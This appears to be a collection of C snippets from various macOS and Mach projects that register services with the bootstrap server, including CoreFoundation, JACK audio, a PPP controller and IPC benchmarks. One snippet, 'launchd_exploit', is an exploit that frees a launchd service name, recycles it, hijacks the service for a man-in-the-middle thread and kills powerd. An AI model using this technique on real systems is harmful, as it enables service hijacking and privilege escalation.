static Boolean __CFMessagePortNativeSetNameLocal(CFMachPortRef port, uint8_t *portname) { mach_port_t bp; kern_return_t ret; task_get_bootstrap_port(mach_task_self(), &bp); ret = bootstrap_register(bp, portname, CFMachPortGetPort(port)); return (ret == KERN_SUCCESS) ? true : false; }
static mach_port_t checkin_or_register(char *bname) { kern_return_t kr; mach_port_t mp; /* If we're started by launchd or the old mach_init */ kr = bootstrap_check_in(bootstrap_port, bname, &mp); if (kr == KERN_SUCCESS) return mp; /* We probably were not started by launchd or the old mach_init */ kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp); if (kr != KERN_SUCCESS) { fprintf(stderr, "mach_port_allocate(): %s\n", mach_error_string(kr)); exit(EXIT_FAILURE); } kr = mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND); if (kr != KERN_SUCCESS) { fprintf(stderr, "mach_port_insert_right(): %s\n", mach_error_string(kr)); exit(EXIT_FAILURE); } kr = bootstrap_register(bootstrap_port, bname, mp); if (kr != KERN_SUCCESS) { fprintf(stderr, "bootstrap_register(): %s\n", mach_error_string(kr)); exit(EXIT_FAILURE); } return mp; }
static mach_port_t register_service(const char *service_name) { mach_port_t port = MACH_PORT_NULL; kern_return_t kr; if (KERN_SUCCESS == (kr = bootstrap_check_in(bootstrap_port, (char *)service_name, &port))) { if (KERN_SUCCESS != (kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND))) helplog(ASL_LEVEL_ERR, "mach_port_insert_right: %s", mach_error_string(kr)); else return port; } if (KERN_SUCCESS != (kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port))) { helplog(ASL_LEVEL_ERR, "mach_port_allocate: %s", mach_error_string(kr)); goto error; } if (KERN_SUCCESS != (kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND))) { helplog(ASL_LEVEL_ERR, "mach_port_insert_right: %s", mach_error_string(kr)); goto error; } // XXX bootstrap_register does not modify its second argument, but the prototype does not include const. if (KERN_SUCCESS != (kr = bootstrap_register(bootstrap_port, (char *)service_name, port))) { helplog(ASL_LEVEL_ERR, "bootstrap_register failed: %s", mach_error_string(kr)); goto error; } return port; error: if (MACH_PORT_NULL != port) mach_port_deallocate(mach_task_self(), port); return MACH_PORT_NULL; }
CFRunLoopSourceRef CreateIPCRunLoopSource(CFStringRef aPortName, StartupContext aStartupContext) { CFRunLoopSourceRef aSource = NULL; CFMachPortRef aMachPort = NULL; CFMachPortContext aContext; kern_return_t aKernReturn = KERN_FAILURE; aContext.version = 0; aContext.info = (void*) aStartupContext; aContext.retain = 0; aContext.release = 0; aContext.copyDescription = 0; aMachPort = CFMachPortCreate(NULL, NULL, &aContext, NULL); if (aMachPort && aPortName) { CFIndex aPortNameLength = CFStringGetLength(aPortName); CFIndex aPortNameSize = CFStringGetMaximumSizeForEncoding(aPortNameLength, kCFStringEncodingUTF8) + 1; uint8_t *aBuffer = CFAllocatorAllocate(NULL, aPortNameSize, 0); if (aBuffer && CFStringGetCString(aPortName, aBuffer, aPortNameSize, kCFStringEncodingUTF8)) { mach_port_t aBootstrapPort; task_get_bootstrap_port(mach_task_self(), &aBootstrapPort); aKernReturn = bootstrap_register(aBootstrapPort, aBuffer, CFMachPortGetPort(aMachPort)); } if (aBuffer) CFAllocatorDeallocate(NULL, aBuffer); } if (aMachPort && aKernReturn == KERN_SUCCESS) { CFRunLoopSourceContext1 aSourceContext; aSourceContext.version = 1; aSourceContext.info = aMachPort; aSourceContext.retain = CFRetain; aSourceContext.release = CFRelease; aSourceContext.copyDescription = CFCopyDescription; aSourceContext.equal = CFEqual; aSourceContext.hash = CFHash; aSourceContext.getPort = getIPCPort; aSourceContext.perform = (void*)handleIPCMessage; aSource = CFRunLoopSourceCreate(NULL, 0, (CFRunLoopSourceContext*)&aSourceContext); } if (aMachPort && (!aSource || aKernReturn != KERN_SUCCESS)) { CFMachPortInvalidate(aMachPort); CFRelease(aMachPort); aMachPort = NULL; } return aSource; }
// Server side : publish the semaphore in the global namespace bool JackMachSemaphore::Allocate(const char* name, const char* server_name, int value) { BuildName(name, server_name, fName, sizeof(fName)); mach_port_t task = mach_task_self(); kern_return_t res; if (fBootPort == 0) { if ((res = task_get_bootstrap_port(task, &fBootPort)) != KERN_SUCCESS) { jack_error("Allocate: Can't find bootstrap mach port err = %s", mach_error_string(res)); return false; } } if ((res = semaphore_create(task, &fSemaphore, SYNC_POLICY_FIFO, value)) != KERN_SUCCESS) { jack_error("Allocate: can create semaphore err = %s", mach_error_string(res)); return false; } if ((res = bootstrap_register(fBootPort, fName, fSemaphore)) != KERN_SUCCESS) { jack_error("Allocate: can't check in mach semaphore name = %s err = %s", fName, mach_error_string(res)); switch (res) { case BOOTSTRAP_SUCCESS : /* service not currently registered, "a good thing" (tm) */ break; case BOOTSTRAP_NOT_PRIVILEGED : jack_log("bootstrap_register(): bootstrap not privileged"); break; case BOOTSTRAP_SERVICE_ACTIVE : jack_log("bootstrap_register(): bootstrap service active"); break; default : jack_log("bootstrap_register() err = %s", mach_error_string(res)); break; } return false; } jack_log("JackMachSemaphore::Allocate name = %s", fName); return true; }
/* Radar 6386278 New launchd api is npot on embedded yet */ int ppp_mach_start_server() { boolean_t active; kern_return_t status; CFRunLoopSourceRef rls; active = FALSE; status = bootstrap_status(bootstrap_port, PPPCONTROLLER_SERVER, &active); switch (status) { case BOOTSTRAP_SUCCESS: if (active) { fprintf(stderr, "\"%s\" is currently active.\n", PPPCONTROLLER_SERVER); return -1; } break; case BOOTSTRAP_UNKNOWN_SERVICE: break; default: fprintf(stderr, "bootstrap_status(): %s\n", mach_error_string(status)); return -1; } gServer_cfport = CFMachPortCreate(NULL, server_handle_request, NULL, NULL); rls = CFMachPortCreateRunLoopSource(NULL, gServer_cfport, 0); gControllerRunloop = CFRunLoopGetCurrent(); CFRunLoopAddSource(gControllerRunloop, rls, kCFRunLoopDefaultMode); CFRunLoopAddSource(gControllerRunloop, gTerminalrls, kCFRunLoopDefaultMode); CFRelease(rls); status = bootstrap_register(bootstrap_port, PPPCONTROLLER_SERVER, CFMachPortGetPort(gServer_cfport)); if (status != BOOTSTRAP_SUCCESS) { mach_error("bootstrap_register", status); return -1; } return 0; }
static mach_port_t server_port(void *info) { if (!_server_port) { kern_return_t ret; ret = bootstrap_check_in(bootstrap_port, SECURITYSERVER_BOOTSTRAP_NAME, &_server_port); if (ret == KERN_SUCCESS) { secdebug("server", "bootstrap_check_in() succeeded, return checked in port: 0x%x\n", _server_port); return _server_port; } #if 0 ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &_server_port); if (ret != KERN_SUCCESS) { secdebug("server", "mach_port_allocate(): 0x%x: %s\n", ret, mach_error_string(ret)); exit(2); } ret = mach_port_insert_right(mach_task_self(), _server_port, _server_port, MACH_MSG_TYPE_MAKE_SEND); if (ret != KERN_SUCCESS) { secdebug("server", "mach_port_insert_right(): 0x%x: %s\n", ret, mach_error_string(ret)); exit(3); } ret = bootstrap_register(bootstrap_port, SECURITYSERVER_BOOTSTRAP_NAME, _server_port); if (ret != BOOTSTRAP_SUCCESS) { secdebug("server", "bootstrap_register(): 0x%x: %s\n", ret, mach_error_string(ret)); exit(4); } #else exit(1); #endif } return _server_port; }
void launchd_exploit(char* app_group) { char* target_service_name = default_target_service_name; // allocate the receive rights which we will try to replace the service with: // (we'll also use them to loop the mach port name in the target) size_t n_ports = 0x1000; mach_port_t* ports = calloc(sizeof(void*), n_ports); for (int i = 0; i < n_ports; i++) { kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]); if (err != KERN_SUCCESS) { printf("failed to allocate port: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } err = mach_port_insert_right(mach_task_self(), ports[i], ports[i], MACH_MSG_TYPE_MAKE_SEND); if (err != KERN_SUCCESS) { printf("failed to insert send right: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } } // generate some service names we can use: char** names = calloc(sizeof(char*), n_ports); for (int i = 0; i < n_ports; i++) { char name[strlen(app_group)+64]; sprintf(name, "%s.%d", app_group, i); names[i] = strdup(name); } // lookup a send right to the target to be replaced mach_port_t target_service = lookup(target_service_name); // free the target in launchd do_free(bootstrap_port, target_service); // send one smaller looper message to push the free'd name down the free list: send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND); // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist for (int i = 0; i < 62; i++) { send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND); } // now that the name should have looped round (and still be near the middle of the freelist // try to replace it by registering a lot of new services for (int i = 0; i < n_ports; i++) { kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]); if (err != KERN_SUCCESS) { printf("failed to register service %d, continuing anyway...\n", i); } } // add all those receive rights to a port set: mach_port_t ps; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps); for (int i = 0; i < n_ports; i++) { mach_port_move_member(mach_task_self(), ports[i], ps); } start_mitm_thread(target_service, ps); kill_powerd(); return; }
void setup_server_ports(struct port_args *ports) { kern_return_t ret = 0; mach_port_t bsport; mach_port_t port; ports->req_size = MAX(sizeof(ipc_inline_message) + sizeof(u_int32_t) * num_ints, sizeof(ipc_complex_message)); ports->reply_size = sizeof(ipc_trivial_message) - sizeof(mach_msg_trailer_t); ports->req_msg = malloc(ports->req_size); ports->reply_msg = malloc(ports->reply_size); if (setcount > 0) { ports->set = (mach_port_t *)calloc(sizeof(mach_port_t), setcount); if (!ports->set) { fprintf(stderr, "calloc(%lu, %d) failed!\n", sizeof(mach_port_t), setcount); exit(1); } } if (stress_prepost) { ports->port_list = (mach_port_t *)calloc(sizeof(mach_port_t), portcount); if (!ports->port_list) { fprintf(stderr, "calloc(%lu, %d) failed!\n", sizeof(mach_port_t), portcount); exit(1); } } if (useset) { mach_port_t set; if (setcount < 1) { fprintf(stderr, "Can't use sets with a setcount of %d\n", setcount); exit(1); } for (int ns = 0; ns < setcount; ns++) { ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ports->set[ns]); if (KERN_SUCCESS != ret) { mach_error("mach_port_allocate(SET): ", ret); exit(1); } if (verbose > 1) printf("SVR[%d] allocated set[%d] %#x\n", ports->server_num, ns, ports->set[ns]); set = ports->set[ns]; } /* receive on a port set (always use the first in the chain) */ ports->rcv_set = ports->set[0]; } /* stuff the portset(s) with ports */ for (int i = 0; i < portcount; i++) { ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (KERN_SUCCESS != ret) { mach_error("mach_port_allocate(PORT): ", ret); exit(1); } if (stress_prepost) ports->port_list[i] = port; if (useset) { /* insert the port into _all_ allocated lowest-level sets */ for (int ns = 0; ns < setcount; ns++) { if (verbose > 1) printf("SVR[%d] moving port %#x into set %#x...\n", ports->server_num, port, ports->set[ns]); ret = mach_port_insert_member(mach_task_self(), port, ports->set[ns]); if (KERN_SUCCESS != ret) { mach_error("mach_port_insert_member(): ", ret); exit(1); } } } } /* use the last one as the server's bootstrap port */ ports->port = port; if (stress_prepost) { /* insert a send right for _each_ port */ for (int i = 0; i < portcount; i++) { ret = mach_port_insert_right(mach_task_self(), ports->port_list[i], ports->port_list[i], MACH_MSG_TYPE_MAKE_SEND); if (KERN_SUCCESS != ret) { mach_error("mach_port_insert_right(): ", ret); exit(1); } } } else { ret = mach_port_insert_right(mach_task_self(), ports->port, ports->port, MACH_MSG_TYPE_MAKE_SEND); if (KERN_SUCCESS != ret) { mach_error("mach_port_insert_right(): ", ret); exit(1); } } ret = task_get_bootstrap_port(mach_task_self(), &bsport); if (KERN_SUCCESS != ret) { mach_error("task_get_bootstrap_port(): ", ret); exit(1); } if (verbose) { printf("server waiting for IPC messages from client on port '%s' (%#x).\n", server_port_name[ports->server_num], ports->port); } ret = bootstrap_register(bsport, server_port_name[ports->server_num], ports->port); if (KERN_SUCCESS != ret) { mach_error("bootstrap_register(): ", ret); exit(1); } }
static kern_return_t unregister_bootstrap_service(void) { return bootstrap_register(server_priv_port, (char *)SERVICE_NAME, MACH_PORT_NULL); }
void setup_server_ports(struct port_args *ports) { kern_return_t ret = 0; mach_port_t bsport; ports->req_size = MAX(sizeof(ipc_inline_message) + sizeof(u_int32_t) * num_ints, sizeof(ipc_complex_message)); ports->reply_size = sizeof(ipc_trivial_message) - sizeof(mach_msg_trailer_t); ports->req_msg = malloc(ports->req_size); ports->reply_msg = malloc(ports->reply_size); ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &(ports->port)); if (KERN_SUCCESS != ret) { mach_error("mach_port_allocate(): ", ret); exit(1); } ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &(ports->pset)); if (KERN_SUCCESS != ret) { mach_error("mach_port_allocate(): ", ret); exit(1); } ret = mach_port_insert_member(mach_task_self(), ports->port, ports->pset); if (KERN_SUCCESS != ret) { mach_error("mach_port_insert_member(): ", ret); exit(1); } ret = mach_port_insert_right(mach_task_self(), ports->port, ports->port, MACH_MSG_TYPE_MAKE_SEND); if (KERN_SUCCESS != ret) { mach_error("mach_port_insert_right(): ", ret); exit(1); } ret = task_get_bootstrap_port(mach_task_self(), &bsport); if (KERN_SUCCESS != ret) { mach_error("task_get_bootstrap_port(): ", ret); exit(1); } if (verbose) { printf("server waiting for IPC messages from client on port '%s'.\n", server_port_name[ports->server_num]); } ret = bootstrap_register(bsport, server_port_name[ports->server_num], ports->port); if (KERN_SUCCESS != ret) { mach_error("bootstrap_register(): ", ret); exit(1); } }